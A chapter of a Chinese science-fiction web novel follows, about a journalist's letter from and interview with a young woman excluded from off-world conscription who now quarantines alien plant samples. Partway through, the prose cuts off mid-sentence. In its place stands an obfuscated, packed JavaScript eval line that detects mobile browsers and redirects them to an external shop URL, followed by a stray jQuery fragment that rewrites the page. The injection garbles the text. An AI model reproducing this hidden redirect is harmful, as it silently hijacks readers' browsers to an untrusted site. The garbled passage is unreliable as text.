温朗收到那封信是在述职报告结束后的第二天。信是直接寄到砾石营地的，信封上的字迹很陌生，笔画有点抖。寄件人叫程小北，名字后面没写任何身份信息，只在地址栏里写了“渊烬物资检疫中心”。信纸很薄，是蓝星那边最普通的A4打印纸。信的开头写道——
“温朗老师，您好。不知道您会不会看到这封信。我是两年前在渊坛上发起‘未被征召者’抗议的那个人。那时候我十九岁，在国会大厦门口举了一块牌子，上面写着‘我也想去外星，但我不够幸运’。您可能不记得我，但我在论坛上读过您所有日志。您说过，每个人都有自己的节奏。”
温朗把信纸放下，拿起录音笔，按下录音键。然后又把录音笔放下了。
程小北在信里讲了她这两年的经历。系统上线那年她刚满十八岁，正好卡在征召年龄的底线，但因为一场严重的过敏反应错过了第一批绑定。等她的身体状况稳定下来，征召窗口已经关闭了。那段时间她每天晚上都睡不着，一遍一遍刷渊坛上的帖子和视频，看那些和她同龄的人在渊烬的荒原上徒步，在海域里航行，在尘季的紫色微尘中完成第一次精神力觉醒。她在信里写——“那种感觉就像全世界都在参加一场盛大的考试，只有你一个人被关在考场外面。不是你不配进去，是门自己关上了。”
后来她在协调办的就业指导中心找到了一份工作——渊烬物资检疫中心，负责对渊烬带回的植物样本进行无害化处理。工作内容和她在蓝星端每天处理的培养皿、消毒柜、样本标签没有区别，但每份样本送到她手上时都带着采集者在密封袋上写下的标签——样本编号、采集地点、采集者名字，有的还附了简短的备注，比如“这株蓝花长在水潭边，根很浅，请小心处理”，比如“这管荧光苔藓是方医生要的，别搞丢了”。这些手写字是她与渊烬唯一的直接联系。她在信的最后写道：“我想了很久要不要写这封信。我怕您会觉得‘未被征召者’的事已经过去了，不值得再提。但后来我想起您在日志里写过，不是所有故事都需要被听见，但每个故事都值得被记住。我不想被记住，我只想让您知道——我们还在。我们不在渊烬，但我们也在。”
温朗把这封信夹进日志本最新的一页。然后他给程小北回了信，问她是否愿意接受一次采访，不是作为“未被征召者”群体的代表，只是作为程小北本人。
采访约在穹顶基地的蓝星端联络处。程小北比温朗想象中更年轻，穿着一件检疫中心的白大褂，袖口沾着消毒酒精的味道。她带了一份工作记录——渊烬植物样本检疫日志，记录了经她手处理过的样本清单、检疫结果和后续去向。温朗注意到，每一份样本的接收日期和检疫完成日期都是用蓝墨墨水写的。问她为什么不用电子表格，她说蓝墨墨水是陈墨老师免费公开的配方，每写一个字都在提醒她，这颗星球上有人在渊烬，有人在蓝星，但用的是同一种墨水。
采访持续了将近两个小时。程小北讲了她刚入职时处理的第一份样本——那是一株从孢子沼泽采集的变异蓝花，密封袋上贴着吴秀兰的手写标签。密封袋在传送过程中因为气压变化微微鼓了起来，她隔着密封袋用手指轻轻按了一下花瓣，花瓣在她指尖下轻轻弹了一下，隔着两层无菌手套，隔着密封袋，隔着光年的距离。她说那一刻她忽然不恨了。不是原谅了系统，不是接受了命运，是她发现自己也可以为这颗星球做点事情——哪怕只是隔着手套摸一下花瓣。
温朗把这段话写进了采访记录。
从穹顶基地回来之后，温朗没有直接回岩棚。他沿着荒原北侧的安全通道走了一段，在观测站边缘停下来，坐在一块平整的岩石上。陆铮正在观测站校准震动传感器，看到他在旁边坐下，没有问采访怎么样，只是把水壶递过去。
温朗接过水壶喝了一口，发现水壶里的水是温热的。这种保温水壶是协调办新配发的，比之前那种塑料水壶重一些，但能保温大半天。陆铮说这个水壶比旧的好用，方晓说对胃有好处，吴姐问旧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831142|211335||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
水壶能不能改洒水喷壶。
他靠在岩石上看着远方，说以前在电台值夜班的时候，他接过一个听众来电。那个听众是个长途货车司机，每天凌晨两点固定打进来，不说话，只点歌。他从来不问那个人为什么不说话，也从来没在节目里提过这件事，只是在每天凌晨两点留一首歌的时间。后来他调离了午夜档，接手的主持人问他这个时段有没有特别需要注意的听众，他说凌晨两点有个听众会固定点歌，如果打进电话的是个男的，不用等他说话，直接放一首老歌就行，他知道是谁。
陆铮听完，沉默了一会儿，然后说：“他没说话，但你知道他在听。”
温朗回到岩棚，把采访记录整理成一篇完整的日志。他在日志里抄录了程小北信中的几句话，也记录了那个前商团护卫和那个老人志愿者的故事。这些人的经历各不相同，但都在同一个方向上努力——找到自己在渊烬与蓝星之间的位置。他在日志最后写道：“今天完成了未被征召者群体的采访。他们不需要被记住，但他们的工作值得被记录——检疫中心的无害化处理、种植基地的育苗、中转站的物资调度。他们是渊烬和蓝星之间的桥梁。桥梁不说话，但车来车往的时候，每一辆车都压过桥面。桥知道自己在承载重量。”他翻到下一页，只写了一个词：“未至。”然后在词的下方画了一条波浪线，线的一端连着一个星号，星号旁边写道——程小北说，她第一次在检疫中心触摸渊烬样本时，密封袋里的蓝花花瓣轻轻弹了一下她的指尖。她说那一刻她觉得，那朵花认识她。
他把笔放在笔记本旁边，站起来走到岩棚外面。荒原的夜风吹过防风墙，远处观测站的渊晶荧光在一明一灭。方晓从医疗站出来，手里端着两杯热水，把一杯递给他，在他旁边的石头上坐下。她问他今天的采访还顺利吗，他说还行。她低头看了一眼他膝盖上摊开着的日志本，那一页最后一行是“那朵花认识她”。她没有说话，只是把保温毯往他那边扯了扯，盖住他放在膝盖上的手背。